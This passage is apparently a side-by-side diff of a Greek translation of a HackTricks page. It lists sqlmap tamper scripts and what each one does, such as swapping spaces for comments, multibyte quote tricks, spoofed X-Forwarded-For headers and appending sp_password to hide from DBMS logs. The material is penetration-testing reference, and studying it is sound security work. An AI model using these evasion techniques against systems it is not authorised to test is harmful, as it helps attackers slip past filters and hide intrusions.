| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
|
||||||
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
|
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλια |
|
||||||
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||||
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||||
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή ('\n') |
|
||||||
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με χαρακτήρα σήματος ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||||
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
|
||||||
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με το σύμβολο συν ('+') |
|
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με συν (+) |
|
||||||
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό (' ') με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
|
||||||
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
|
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους (&& και |
|
||||||
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
|
||||||
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα αποστροφής (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
|
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου (') με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
|
||||||
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με την κεφαλαία τιμή 'INSERT' |
|
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τιμή κεφαλαίου 'INSERT' |
|
||||||
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
|
||||||
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||||
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
|
||||||
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user